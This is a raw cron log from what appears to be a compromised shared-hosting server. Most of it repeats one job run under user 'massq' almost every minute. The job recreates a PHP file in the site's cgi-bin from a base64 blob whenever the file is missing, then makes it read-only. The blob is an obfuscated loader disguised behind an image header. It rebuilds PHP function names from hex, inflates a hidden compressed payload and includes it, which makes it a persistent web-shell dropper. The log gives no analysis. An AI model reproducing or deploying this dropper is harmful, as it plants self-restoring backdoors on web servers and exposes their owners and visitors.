"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:36:01 server CROND[4754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:36:01 server CROND[4753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:36:01 server CROND[4755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:37:01 server CROND[5134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:37:01 server CROND[5135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:37:01 server CROND[5136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:38:01 server CROND[5602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:38:01 server CROND[5603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:38:01 server CROND[5604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:39:01 server CROND[5977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:39:01 server CROND[5978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:39:01 server CROND[5979]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 12:39:01 server CROND[5980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:40:01 server CROND[6360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:40:01 server CROND[6361]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:40:01 server CROND[6363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:40:01 server CROND[6365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:40:01 server CROND[6366]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:40:01 server CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:40:01 server CROND[6368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:40:01 server CROND[6367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:41:02 server CROND[7251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:41:02 server CROND[7252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:41:02 server CROND[7250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:42:01 server CROND[7626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:42:01 server CROND[7627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:42:01 server CROND[7628]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:42:01 server CROND[7629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:43:01 server CROND[8086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:43:01 server CROND[8087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:43:01 server CROND[8088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:44:01 server CROND[8458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:44:01 server CROND[8459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:44:01 server CROND[8457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:45:01 server CROND[8834]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:45:01 server CROND[8835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:45:01 server CROND[8836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:45:01 server CROND[8837]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:45:01 server CROND[8839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:45:01 server CROND[8838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:45:01 server CROND[8841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:46:01 server CROND[9656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:46:01 server CROND[9657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:46:01 server CROND[9658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:47:01 server CROND[10034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
